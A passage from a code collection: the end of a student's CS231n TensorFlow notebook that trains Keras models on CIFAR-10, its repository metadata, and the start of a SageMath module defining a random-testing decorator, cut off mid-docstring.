fully-connected layer.\n\n# In[18]:\n\n\nclass TwoLayerFC(tf.keras.Model):\n    def __init__(self, hidden_size, num_classes):\n        super(TwoLayerFC, self).__init__()        \n        initializer = tf.initializers.VarianceScaling(scale=2.0)\n        self.fc1 = tf.keras.layers.Dense(hidden_size, activation='relu',\n                                   kernel_initializer=initializer)\n        self.fc2 = tf.keras.layers.Dense(num_classes, activation='softmax',\n                                   kernel_initializer=initializer)\n        self.flatten = tf.keras.layers.Flatten()\n    \n    def call(self, x, training=False):\n        x = self.flatten(x)\n        x = self.fc1(x)\n        x = self.fc2(x)\n        return x\n\n\ndef test_TwoLayerFC():\n    \"\"\" A small unit test to exercise the TwoLayerFC model above. \"\"\"\n    input_size, hidden_size, num_classes = 50, 42, 10\n    x = tf.zeros((64, input_size))\n    model = TwoLayerFC(hidden_size, num_classes)\n    with tf.device(device):\n        scores = model(x)\n        print(scores.shape)\n        \ntest_TwoLayerFC()\n\n\n# ### Keras Model Subclassing API: Three-Layer ConvNet\n# Now it's your turn to implement a three-layer ConvNet using the `tf.keras.Model` API. Your model should have the same architecture used in Part II:\n# \n# 1. Convolutional layer with 5 x 5 kernels, with zero-padding of 2\n# 2. ReLU nonlinearity\n# 3. Convolutional layer with 3 x 3 kernels, with zero-padding of 1\n# 4. ReLU nonlinearity\n# 5. Fully-connected layer to give class scores\n# 6. Softmax nonlinearity\n# \n# You should initialize the weights of your network using the same initialization method as was used in the two-layer network above.\n# \n# **Hint**: Refer to the documentation for `tf.keras.layers.Conv2D` and `tf.keras.layers.Dense`:\n# \n# +\n# https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/keras/layers/Dense\n\n# In[19]:\n\n\nclass ThreeLayerConvNet(tf.keras.Model):\n    def __init__(self, channel_1, channel_2, num_classes):\n        super(ThreeLayerConvNet, self).__init__()\n        ########################################################################\n        # TODO: Implement the __init__ method for a three-layer ConvNet. You   #\n        # should instantiate layer objects to be used in the forward pass.     #\n        ########################################################################\n        # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n        initializer = tf.initializers.VarianceScaling(scale=2.0)\n        \n        self.conv1 = tf.keras.layers.Conv2D(filters=channel_1, kernel_size=(5,5), strides=1, padding='same', activation='relu', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n        self.conv2 = tf.keras.layers.Conv2D(filters=channel_2, kernel_size=(3,3), strides=1, padding='same', activation='relu', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n        self.flatten = tf.keras.layers.Flatten()\n        self.fc1 = tf.keras.layers.Dense(num_classes, activation='softmax',\n                                   kernel_initializer=initializer)\n        \n\n        # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n        ########################################################################\n        #                           END OF YOUR CODE                           #\n        ########################################################################\n        \n    def call(self, x, training=False):\n        scores = None\n        ########################################################################\n        # TODO: Implement the forward pass for a three-layer ConvNet. You      #\n        # should use the layer objects defined in the __init__ method.         #\n        ########################################################################\n        # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n        c1 = self.conv1(x)\n        c2 = self.conv2(c1)\n        c2 = self.flatten(c2)\n        scores =  self.fc1(c2)\n\n        # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n        ########################################################################\n        #                           END OF YOUR CODE                           #\n        ########################################################################        \n        return scores\n\n\n# Once you complete the implementation of the `ThreeLayerConvNet` above you can run the following to ensure that your implementation does not crash and produces outputs of the expected shape.\n\n# In[20]:\n\n\ndef test_ThreeLayerConvNet():    \n    channel_1, channel_2, num_classes = 12, 8, 10\n    model = ThreeLayerConvNet(channel_1, channel_2, num_classes)\n    with tf.device(device):\n        x = tf.zeros((64, 3, 32, 32))\n        scores = model(x)\n        print(scores.shape)\n\ntest_ThreeLayerConvNet()\n\n\n# ### Keras Model Subclassing API: Eager Training\n# \n# While keras models have a builtin training loop (using the `model.fit`), sometimes you need more customization. Here's an example, of a training loop implemented with eager execution.\n# \n# In particular, notice `tf.GradientTape`. Automatic differentiation is used in the backend for implementing backpropagation in frameworks like TensorFlow. During eager execution, `tf.GradientTape` is used to trace operations for computing gradients later. A particular `tf.GradientTape` can only compute one gradient; subsequent calls to tape will throw a runtime error. \n# \n# TensorFlow 2.0 ships with easy-to-use built-in metrics under `tf.keras.metrics` module. Each metric is an object, and we can use `update_state()` to add observations and `reset_state()` to clear all observations. We can get the current result of a metric by calling `result()` on the metric object.\n\n# In[21]:\n\n\ndef train_part34(model_init_fn, optimizer_init_fn, num_epochs=1, is_training=False):\n    \"\"\"\n    Simple training loop for use with models defined using tf.keras. It trains\n    a model for one epoch on the CIFAR-10 training set and periodically checks\n    accuracy on the CIFAR-10 validation set.\n    \n    Inputs:\n    - model_init_fn: A function that takes no parameters; when called it\n      constructs the model we want to train: model = model_init_fn()\n    - optimizer_init_fn: A function which takes no parameters; when called it\n      constructs the Optimizer object we will use to optimize the model:\n      optimizer = optimizer_init_fn()\n    - num_epochs: The number of epochs to train for\n    \n    Returns: Nothing, but prints progress during trainingn\n    \"\"\"    \n    with tf.device(device):\n\n        # Compute the loss like we did in Part II\n        loss_fn = tf.keras.losses.SparseCategoricalCrossentropy()\n        \n        model = model_init_fn()\n        optimizer = optimizer_init_fn()\n        \n        train_loss = tf.keras.metrics.Mean(name='train_loss')\n        train_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(name='train_accuracy')\n    \n        val_loss = tf.keras.metrics.Mean(name='val_loss')\n        val_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(name='val_accuracy')\n        \n        t = 0\n        for epoch in range(num_epochs):\n            \n            # Reset the metrics - https://www.tensorflow.org/alpha/guide/migration_guide#new-style_metrics\n            train_loss.reset_states()\n            train_accuracy.reset_states()\n            \n            for x_np, y_np in train_dset:\n                with tf.GradientTape() as tape:\n                    \n                    # Use the model function to build the forward pass.\n                    scores = model(x_np, training=is_training)\n                    loss = loss_fn(y_np, scores)\n      \n                    gradients = tape.gradient(loss, model.trainable_variables)\n                    optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n                    \n                    # Update the metrics\n                    train_loss.update_state(loss)\n                    train_accuracy.update_state(y_np, scores)\n                    \n                    if t % print_every == 0:\n                        val_loss.reset_states()\n                        val_accuracy.reset_states()\n                        for test_x, test_y in val_dset:\n                            # During validation at end of epoch, training set to False\n                            prediction = model(test_x, training=False)\n                            t_loss = loss_fn(test_y, prediction)\n\n                            val_loss.update_state(t_loss)\n                            val_accuracy.update_state(test_y, prediction)\n                        \n                        template = 'Iteration {}, Epoch {}, Loss: {}, Accuracy: {}, Val Loss: {}, Val Accuracy: {}'\n                        print (template.format(t, epoch+1,\n                                             train_loss.result(),\n                                             train_accuracy.result()*100,\n                                             val_loss.result(),\n                                             val_accuracy.result()*100))\n                    t += 1\n\n\n# ### Keras Model Subclassing API: Train a Two-Layer Network\n# We can now use the tools defined above to train a two-layer network on CIFAR-10. We define the `model_init_fn` and `optimizer_init_fn` that construct the model and optimizer respectively when called. Here we want to train the model using stochastic gradient descent with no momentum, so we construct a `tf.keras.optimizers.SGD` function; you can [read about it here](https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/optimizers/SGD).\n# \n# You don't need to tune any hyperparameters here, but you should achieve validation accuracies above 40% after one epoch of training.\n\n# In[22]:\n\n\nhidden_size, num_classes = 4000, 10\nlearning_rate = 1e-2\n\ndef model_init_fn():\n    return TwoLayerFC(hidden_size, num_classes)\n\ndef optimizer_init_fn():\n    return tf.keras.optimizers.SGD(learning_rate=learning_rate)\n\ntrain_part34(model_init_fn, optimizer_init_fn)\n\n\n# ### Keras Model Subclassing  API: Train a Three-Layer ConvNet\n# Here you should use the tools we've defined above to train a three-layer ConvNet on CIFAR-10. Your ConvNet should use 32 filters in the first convolutional layer and 16 filters in the second layer.\n# \n# To train the model you should use gradient descent with Nesterov momentum 0.9.  \n# \n# **HINT**: https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/optimizers/SGD\n# \n# You don't need to perform any hyperparameter tuning, but you should achieve validation accuracies above 50% after training for one epoch.\n\n# In[23]:\n\n\nlearning_rate = 3e-3\nchannel_1, channel_2, num_classes = 32, 16, 10\n\ndef model_init_fn():\n    model = None\n    ############################################################################\n    # TODO: Complete the implementation of model_fn.                           #\n    ############################################################################\n    # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n    model = ThreeLayerConvNet(channel_1, channel_2, num_classes)\n\n    # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    ############################################################################\n    #                           END OF YOUR CODE                               #\n    ############################################################################\n    return model\n\ndef optimizer_init_fn():\n    optimizer = None\n    ############################################################################\n    # TODO: Complete the implementation of model_fn.                           #\n    ############################################################################\n    # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n    optimizer = tf.keras.optimizers.SGD(learning_rate=learning_rate, momentum=0.9, nesterov=True)\n\n    # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    ############################################################################\n    #                           END OF YOUR CODE                               #\n    ############################################################################\n    return optimizer\n\ntrain_part34(model_init_fn, optimizer_init_fn)\n\n\n# # Part IV: Keras Sequential API\n# In Part III we introduced the `tf.keras.Model` API, which allows you to define models with any number of learnable layers and with arbitrary connectivity between layers.\n# \n# However for many models you don't need such flexibility - a lot of models can be expressed as a sequential stack of layers, with the output of each layer fed to the next layer as input. If your model fits this pattern, then there is an even easier way to define your model: using `tf.keras.Sequential`. You don't need to write any custom classes; you simply call the `tf.keras.Sequential` constructor with a list containing a sequence of layer objects.\n# \n# One complication with `tf.keras.Sequential` is that you must define the shape of the input to the model by passing a value to the `input_shape` of the first layer in your model.\n# \n# ### Keras Sequential API: Two-Layer Network\n# In this subsection, we will rewrite the two-layer fully-connected network using `tf.keras.Sequential`, and train it using the training loop defined above.\n# \n# You don't need to perform any hyperparameter tuning here, but you should see validation accuracies above 40% after training for one epoch.\n\n# In[24]:\n\n\nlearning_rate = 1e-2\n\ndef model_init_fn():\n    input_shape = (32, 32, 3)\n    hidden_layer_size, num_classes = 4000, 10\n    initializer = tf.initializers.VarianceScaling(scale=2.0)\n    layers = [\n        tf.keras.layers.Flatten(input_shape=input_shape),\n        tf.keras.layers.Dense(hidden_layer_size, activation='relu',\n                              kernel_initializer=initializer),\n        tf.keras.layers.Dense(num_classes, activation='softmax', \n                              kernel_initializer=initializer),\n    ]\n    model = tf.keras.Sequential(layers)\n    return model\n\ndef optimizer_init_fn():\n    return tf.keras.optimizers.SGD(learning_rate=learning_rate) \n\ntrain_part34(model_init_fn, optimizer_init_fn)\n\n\n# ### Abstracting Away the Training Loop\n# In the previous examples, we used a customised training loop to train models (e.g. `train_part34`). Writing your own training loop is only required if you need more flexibility and control during training your model. Alternately, you can also use  built-in APIs like `tf.keras.Model.fit()` and `tf.keras.Model.evaluate` to train and evaluate a model. Also remember to configure your model for training by calling `tf.keras.Model.compile.\n# \n# You don't need to perform any hyperparameter tuning here, but you should see validation and test accuracies above 42% after training for one epoch.\n\n# In[25]:\n\n\nmodel = model_init_fn()\nmodel.compile(optimizer=tf.keras.optimizers.SGD(learning_rate=learning_rate),\n              loss='sparse_categorical_crossentropy',\n              metrics=[tf.keras.metrics.sparse_categorical_accuracy])\nmodel.fit(X_train, y_train, batch_size=64, epochs=1, validation_data=(X_val, y_val))\nmodel.evaluate(X_test, y_test)\n\n\n# ### Keras Sequential API: Three-Layer ConvNet\n# Here you should use `tf.keras.Sequential` to reimplement the same three-layer ConvNet architecture used in Part II and Part III. As a reminder, your model should have the following architecture:\n# \n# 1. Convolutional layer with 32 5x5 kernels, using zero padding of 2\n# 2. ReLU nonlinearity\n# 3. Convolutional layer with 16 3x3 kernels, using zero padding of 1\n# 4. ReLU nonlinearity\n# 5. Fully-connected layer giving class scores\n# 6. Softmax nonlinearity\n# \n# You should initialize the weights of the model using a `tf.initializers.VarianceScaling` as above.\n# \n# You should train the model using Nesterov momentum 0.9.\n# \n# You don't need to perform any hyperparameter search, but you should achieve accuracy above 45% after training for one epoch.\n\n# In[26]:\n\n\ndef model_init_fn():\n    model = None\n    ############################################################################\n    # TODO: Construct a three-layer ConvNet using tf.keras.Sequential.         #\n    ############################################################################\n    # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    channel_1, channel_2, num_classes = 32, 16, 10    \n    initializer = tf.initializers.VarianceScaling(scale=2.0)\n    conv1 = tf.keras.layers.Conv2D(filters=channel_1, kernel_size=(5,5), strides=1, padding='same', activation='relu', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n    conv2 = tf.keras.layers.Conv2D(filters=channel_2, kernel_size=(3,3), strides=1, padding='same', activation='relu', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n    flatten = tf.keras.layers.Flatten()\n    fc1 = tf.keras.layers.Dense(num_classes, activation='softmax', kernel_initializer=initializer)\n    layers = [conv1, conv2, flatten, fc1]\n    model = tf.keras.Sequential(layers)\n    # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    ############################################################################\n    #                            END OF YOUR CODE                              #\n    ############################################################################\n    return model\n\nlearning_rate = 5e-4\ndef optimizer_init_fn():\n    optimizer = None\n    ############################################################################\n    # TODO: Complete the implementation of model_fn.                           #\n    ############################################################################\n    # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n    optimizer = tf.keras.optimizers.SGD(learning_rate=learning_rate, momentum=0.9, nesterov=True)\n\n    # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    ############################################################################\n    #                           END OF YOUR CODE                               #\n    ############################################################################\n    return optimizer\n\ntrain_part34(model_init_fn, optimizer_init_fn)\n\n\n# We will also train this model with the built-in training loop APIs provided by TensorFlow.\n\n# In[27]:\n\n\nmodel = model_init_fn()\nmodel.compile(optimizer='sgd',\n              loss='sparse_categorical_crossentropy',\n              metrics=[tf.keras.metrics.sparse_categorical_accuracy])\nmodel.fit(X_train, y_train, batch_size=64, epochs=1, validation_data=(X_val, y_val))\nmodel.evaluate(X_test, y_test)\n\n\n# ##  Part IV: Functional API\n# ### Demonstration with a Two-Layer Network \n# \n# In the previous section, we saw how we can use `tf.keras.Sequential` to stack layers to quickly build simple models. But this comes at the cost of losing flexibility.\n# \n# Often we will have to write complex models that have non-sequential data flows: a layer can have **multiple inputs and/or outputs**, such as stacking the output of 2 previous layers together to feed as input to a third! (Some examples are residual connections and dense blocks.)\n# \n# In such cases, we can use Keras functional API to write models with complex topologies such as:\n# \n#  1. Multi-input models\n#  2. Multi-output models\n#  3. Models with shared layers (the same layer called several times)\n#  4. Models with non-sequential data flows (e.g. residual connections)\n# \n# Writing a model with Functional API requires us to create a `tf.keras.Model` instance and explicitly write input tensors and output tensors for this model. \n\n# In[28]:\n\n\ndef two_layer_fc_functional(input_shape, hidden_size, num_classes):  \n    initializer = tf.initializers.VarianceScaling(scale=2.0)\n    inputs = tf.keras.Input(shape=input_shape)\n    flattened_inputs = tf.keras.layers.Flatten()(inputs)\n    fc1_output = tf.keras.layers.Dense(hidden_size, activation='relu',\n                                 kernel_initializer=initializer)(flattened_inputs)\n    scores = tf.keras.layers.Dense(num_classes, activation='softmax',\n                             kernel_initializer=initializer)(fc1_output)\n\n    # Instantiate the model given inputs and outputs.\n    model = tf.keras.Model(inputs=inputs, outputs=scores)\n    return model\n\ndef test_two_layer_fc_functional():\n    \"\"\" A small unit test to exercise the TwoLayerFC model above. \"\"\"\n    input_size, hidden_size, num_classes = 50, 42, 10\n    input_shape = (50,)\n    \n    x = tf.zeros((64, input_size))\n    model = two_layer_fc_functional(input_shape, hidden_size, num_classes)\n    \n    with tf.device(device):\n        scores = model(x)\n        print(scores.shape)\n        \ntest_two_layer_fc_functional()\n\n\n# ### Keras Functional API: Train a Two-Layer Network\n# You can now train this two-layer network constructed using the functional API.\n# \n# You don't need to perform any hyperparameter tuning here, but you should see validation accuracies above 40% after training for one epoch.\n\n# In[29]:\n\n\ninput_shape = (32, 32, 3)\nhidden_size, num_classes = 4000, 10\nlearning_rate = 1e-2\n\ndef model_init_fn():\n    return two_layer_fc_functional(input_shape, hidden_size, num_classes)\n\ndef optimizer_init_fn():\n    return tf.keras.optimizers.SGD(learning_rate=learning_rate)\n\ntrain_part34(model_init_fn, optimizer_init_fn)\n\n\n# # Part V: CIFAR-10 open-ended challenge\n# \n# In this section you can experiment with whatever ConvNet architecture you'd like on CIFAR-10.\n# \n# You should experiment with architectures, hyperparameters, loss functions, regularization, or anything else you can think of to train a model that achieves **at least 70%** accuracy on the **validation** set within 10 epochs. You can use the built-in train function, the `train_part34` function from above, or implement your own training loop.\n# \n# Describe what you did at the end of the notebook.\n# \n# ### Some things you can try:\n# - **Filter size**: Above we used 5x5 and 3x3; is this optimal?\n# - **Number of filters**: Above we used 16 and 32 filters. Would more or fewer do better?\n# - **Pooling**: We didn't use any pooling above. Would this improve the model?\n# - **Normalization**: Would your model be improved with batch normalization, layer normalization, group normalization, or some other normalization strategy?\n# - **Network architecture**: The ConvNet above has only three layers of trainable parameters. Would a deeper model do better?\n# - **Global average pooling**: Instead of flattening after the final convolutional layer, would global average pooling do better? This strategy is used for example in Google's Inception network and in Residual Networks.\n# - **Regularization**: Would some kind of regularization improve performance? Maybe weight decay or dropout?\n# \n# ### NOTE: Batch Normalization / Dropout\n# If you are using Batch Normalization and Dropout, remember to pass `is_training=True` if you use the `train_part34()` function. BatchNorm and Dropout layers have different behaviors at training and inference time. `training` is a specific keyword argument reserved for this purpose in any `tf.keras.Model`'s `call()` function. Read more about this here : https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/keras/layers/BatchNormalization#methods\n# https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/keras/layers/Dropout#methods\n# \n# ### Tips for training\n# For each network architecture that you try, you should tune the learning rate and other hyperparameters. When doing this there are a couple important things to keep in mind: \n# \n# - If the parameters are working well, you should see improvement within a few hundred iterations\n# - Remember the coarse-to-fine approach for hyperparameter tuning: start by testing a large range of hyperparameters for just a few training iterations to find the combinations of parameters that are working at all.\n# - Once you have found some sets of parameters that seem to work, search more finely around these parameters. You may need to train for more epochs.\n# - You should use the validation set for hyperparameter search, and save your test set for evaluating your architecture on the best parameters as selected by the validation set.\n# \n# ### Going above and beyond\n# If you are feeling adventurous there are many other features you can implement to try and improve your performance. You are **not required** to implement any of these, but don't miss the fun if you have time!\n# \n# - Alternative optimizers: you can try Adam, Adagrad, RMSprop, etc.\n# - Alternative activation functions such as leaky ReLU, parametric ReLU, ELU, or MaxOut.\n# - Model ensembles\n# - Data augmentation\n# - New Architectures\n#   - [ResNets](https://arxiv.org/abs/1512.03385) where the input from the previous layer is added to the output.\n#   - [DenseNets](https://arxiv.org/abs/1608.06993) where inputs into previous layers are concatenated together.\n#   - [This blog has an in-depth overview](https://chatbotslife.com/resnets-highwaynets-and-densenets-oh-my-9bb15918ee32)\n#   \n# ### Have fun and happy training! \n\n# In[30]:\n\n\nclass CustomConvNet(tf.keras.Model):\n    def __init__(self):\n        super(CustomConvNet, self).__init__()\n        ############################################################################\n        # TODO: Construct a model that performs well on CIFAR-10                   #\n        ############################################################################\n        # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n        initializer = tf.initializers.VarianceScaling(scale=2.0)\n        \n        self.conv1 = tf.keras.layers.Conv2D(filters=32, kernel_size=(5,5), strides=1, padding='same', activation='linear', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n        self.batch1 = tf.keras.layers.BatchNormalization()\n        self.relu1 = tf.keras.layers.ReLU()\n        self.conv1 = tf.keras.layers.Conv2D(filters=32, kernel_size=(5,5), strides=1, padding='same', activation='linear', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n        self.batch1 = tf.keras.layers.BatchNormalization()\n        self.relu1 = tf.keras.layers.ReLU()\n        self.drop1 = tf.keras.layers.Dropout(0.1)\n        self.pool = tf.keras.layers.MaxPool2D()\n        \n        self.conv2 = tf.keras.layers.Conv2D(filters=16, kernel_size=(3,3), strides=1, padding='same', activation='linear', use_bias=True, kernel_initializer=initializer, bias_initializer='zeros')\n        self.batch2 = tf.keras.layers.BatchNormalization()\n        self.relu2 = tf.keras.layers.ReLU()\n        self.drop2 = tf.keras.layers.Dropout(0.1)\n        self.flatten = tf.keras.layers.Flatten()\n        \n        # self.fc1 = tf.keras.layers.Dense(num_classes, activation='linear',\n        #                            kernel_initializer=initializer)\n        # self.fcbatch1 = tf.keras.layers.BatchNormalization()\n        # self.fcrelu1 = tf.keras.layers.ReLU()\n        # self.fcdrop1 = tf.keras.layers.Dropout(0.1)\n        self.fc1 = tf.keras.layers.Dense(num_classes, activation='softmax',\n                                   kernel_initializer=initializer)\n\n        # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n        ############################################################################\n        #                            END OF YOUR CODE                              #\n        ############################################################################\n    \n    def call(self, input_tensor, training=False):\n        ############################################################################\n        # TODO: Construct a model that performs well on CIFAR-10                   #\n        ############################################################################\n        # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n        x = self.conv1(input_tensor)\n        x = self.batch1(x, training=training)\n        x = self.relu1(x)\n        x = self.drop1(x, training=training)\n        x = self.conv2(x)\n        x = self.batch2(x, training=training)\n        x = self.relu2(x)\n        x = self.drop2(x, training=training)\n        x = self.flatten(x)\n        x = self.fc1(x)\n        # x = self.fcbatch1(x)\n        # x = self.fcrelu1(x)\n        # x = self.fcdrop1(x)\n        # x = self.fc2(x)\n\n        # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n        ############################################################################\n        #                            END OF YOUR CODE                              #\n        ############################################################################\n        \n        return x\n\n# device = '/device:GPU:0'   # Change this to a CPU/GPU as you wish!\ndevice = '/cpu:0'        # Change this to a CPU/GPU as you wish!\nprint_every = 700\nnum_epochs = 10\n\nmodel = CustomConvNet()\n\ndef model_init_fn():\n    return CustomConvNet()\n\ndef optimizer_init_fn():\n    learning_rate = 1e-3\n    return tf.keras.optimizers.Adam(learning_rate) \n\ntrain_part34(model_init_fn, optimizer_init_fn, num_epochs=num_epochs, is_training=True)\n\n\n# ## Describe what you did \n# \n# In the cell below you should write an explanation of what you did, any additional features that you implemented, and/or any graphs that you made in the process of training and evaluating your network.\n\n# THIS OVERFITS, I'll come back later when I have a GPU.\n", "meta": {"hexsha": "33ee5db6759871dc582139818b4155d689838af6", "size": 63689, "ext": "py", "lang": "Python", "max_stars_repo_path": "spring1819_assignment2/assignment2/TensorFlow.py", "max_stars_repo_name": "djape24394/cs231n", "max_stars_repo_head_hexsha": "0a25bfee5134dd89d7b139ae9a21ad5ae0f92df7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "spring1819_assignment2/assignment2/TensorFlow.py", "max_issues_repo_name": "djape24394/cs231n", "max_issues_repo_head_hexsha": "0a25bfee5134dd89d7b139ae9a21ad5ae0f92df7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-06-06T21:57:44.000Z", "max_issues_repo_issues_event_max_datetime": "2020-06-06T21:57:44.000Z", "max_forks_repo_path": "spring1819_assignment2/assignment2/TensorFlow.py", "max_forks_repo_name": "djape24394/cs231n", "max_forks_repo_head_hexsha": "0a25bfee5134dd89d7b139ae9a21ad5ae0f92df7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-06-07T14:52:47.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-07T14:52:47.000Z", "avg_line_length": 50.8292098962, "max_line_length": 533, "alphanum_fraction": 0.6625162901, "include": true, "reason": "import numpy", "num_tokens": 14531, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.14804719803168948, "lm_q1q2_score": 0.07171111425956114}}
{"text": "r\"\"\"\nRandom testing\n\nSome Sage modules do random testing in their doctests; that is, they\nconstruct test cases using a random number generator.  To get the\nbroadest possible test coverage, we want everybody who runs the\ndoctests to use a different random seed; but we also want to be able\nto reproduce the problems when debugging.  This module provides a\ndecorator to help write random testers that meet these goals.\n\"\"\"\n\nfrom functools import wraps\n\ndef random_testing(fn):\n    r\"\"\"\n    This decorator helps create random testers.  These can be run as\n    part of the standard Sage test suite; everybody who runs the test\n    will use a different random number seed, so many different random\n    tests will eventually be run.\n\n    INPUT:\n\n        - ``fn`` - The function that we are wrapping for random testing.\n\n    The resulting function will take two additional arguments, *seed*\n    (default ``None``) and *print_seed* (default ``False``).  The\n    result will set the random number seed to the given seed value (or\n    to a truly random value, if *seed* is not specified), then call\n    the original function.  If *print_seed* is true, then the seed will\n    be printed before calling the original function.  If the original\n    function raises an exception, then the random seed that was used\n    will be displayed, along with a message entreating the user to\n    submit a bug report.  All other arguments will be passed through\n    to the original function.\n\n    Here is a set of recommendations for using this wrapper.\n\n    The function to be tested should take arguments specifying the\n    difficulty of the test (size of the test cases, number of\n    iterations, etc.), as well as an argument *verbose* (defaulting to\n    false).  With *verbose* true, it should print the values being\n    tested.  Suppose ``test_foo()`` takes an argument for number of\n    iterations.  Then the doctests could be::\n\n        test_foo(2, verbose=True, seed=0)\n        test_foo(10)\n        test_foo(100) # long time\n\n    The first doctest, with the specified seed and ``verbose=True``, simply\n    verifies that the tests really are reproducible (that ``test_foo``\n    is correctly using the :mod:`randstate` framework).  The next two tests\n    use truly random seeds, and will print out the seed used if the test\n    fails (raises an exception).\n\n    If you want a very long-running test using this setup, you should do\n    something like::\n\n        for _ in xrange(10^10): test_foo(100)\n\n    instead of::\n\n        test_foo(10^12)\n\n    If the test fails after several hours, the latter snippet would\n    make you rerun the test for several hours while reproducing and\n    debugging the problem.  With the former snippet, you only need to\n    rerun ``test_foo(100)`` with a known-failing random seed.\n\n    See :func:`sage.misc.random_testing.test_add_commutes` for a\n    simple example using this decorator, and :mod:`sage.rings.tests`\n    for realistic uses.\n\n    Setting *print_seed* to true is useless in doctests, because the\n    random seed printed will never match the expected doctest result\n    (and using ``# random`` means the doctest framework will never\n    report an error even if one happens).  However, it is useful if\n    you have a random test that sometimes segfaults.  The normal\n    print-the-random-seed-on-exceptions won't work then, so you can\n    run::\n\n        while True: test_foo(print_seed=True)\n\n    and look at the last seed that was printed before it crashed.\n\n\n    TESTS::\n\n        sage: from sage.misc.random_testing import random_testing\n        sage: def foo(verbose=False):\n        ...       'oh look, a docstring'\n        ...       n = ZZ.random_element(2^50)\n        ...       if verbose:\n        ...           print \"Random value: %s\" % n\n        ...       assert(n == 49681376900427)\n        sage: foo = random_testing(foo)\n        sage: foo(seed=0, verbose=True)\n        Random value: 49681376900427\n        sage: foo(seed=15, verbose=True)\n        Random value: 1049538412064764\n        Random testing has revealed a problem in foo\n        Please report this bug!  You may be the first\n        person in the world to have seen this problem.\n        Please include this random seed in your bug report:\n        Random seed: 15\n        AssertionError()\n        sage: foo() # random\n        Random testing has revealed a problem in foo\n        Please report this bug!  You may be the first\n        person in the world to have seen this problem.\n        Please include this random seed in your bug report:\n        Random seed: 272500700755151445506092479579811710040\n        AssertionError()\n        sage: foo.__doc__\n        'oh look, a docstring'\n        sage: foo.__name__\n        'foo'\n        sage: def bar(): pass\n        sage: bar = random_testing(bar)\n        sage: bar(print_seed=True) # random\n        Random seed: 262841091890156346923539765543814146051\n    \"\"\"\n    from sage.misc.randstate import seed, initial_seed\n    from sys import stdout\n    @wraps(fn)\n    def wrapped_fun(*args, **kwargs):\n        arg_seed = None\n        if 'seed' in kwargs:\n            arg_seed = kwargs['seed']\n            del kwargs['seed']\n        with seed(arg_seed):\n            used_seed = initial_seed()\n            if 'print_seed' in kwargs:\n                if kwargs['print_seed']:\n                    print(\"Random seed: {}\".format(used_seed))\n                    del kwargs['print_seed']\n                # I don't know if this line is necessary, but it can't\n                # hurt; and it would be a real pity to lose the\n                # information you need to reproduce a segfault because\n                # it was missing...\n                stdout.flush()\n            try:\n                fn(*args, **kwargs)\n            except Exception as e:\n                # We treat any sort of Exception as a doctest\n                # failure.  (We have to eat the exception, because if\n                # doctesting sees an exception, it doesn't display\n                # whatever was printed before the exception happened\n                # -- so the text we print here would be lost.)  Note\n                # that KeyboardInterrupt is not an Exception, so\n                # pressing Control-C doesn't print this message.\n                print(\"Random testing has revealed a problem in \" + fn.__name__)\n                print(\"Please report this bug!  You may be the first\")\n                print(\"person in the world to have seen this problem.\")\n                print(\"Please include this random seed in your bug report:\")\n                print(\"Random seed: {}\".format(used_seed))\n                print(repr(e))\n    return wrapped_fun\n\n@random_testing\ndef test_add_commutes(trials, verbose=False):\n    r\"\"\"\n    This is a simple demonstration of the :func:`random_testing` decorator and\n    its recommended usage.\n\n    We test that addition is commutative over rationals.\n\n    EXAMPLES::\n\n        sage: from sage.misc.random_testing import test_add_commutes\n        sage: test_add_commutes(2, verbose=True, seed=0)\n        a == -4, b == 0 ...\n        Passes!\n        a == -1/2, b == -1/95 ...\n        Passes!\n        sage: test_add_commutes(10)\n        sage: test_add_commutes(1000) # long time\n    \"\"\"\n    from sage.rings.all import QQ\n    for _ in xrange(trials):\n        a = QQ.random_element()\n        b = QQ.random_element()\n        if verbose:\n            print(\"a == {}, b == {} ...\".format(a, b))\n        assert(a+b == b+a)\n        if verbose:\n            print(\"Passes!\")\n\n@random_testing\ndef test_add_is_mul(trials, verbose=False):\n    r\"\"\"\n    This example demonstrates a failing :func:`random_testing` test,\n    and shows how to reproduce the error.\n\n    DO NOT USE THIS AS AN 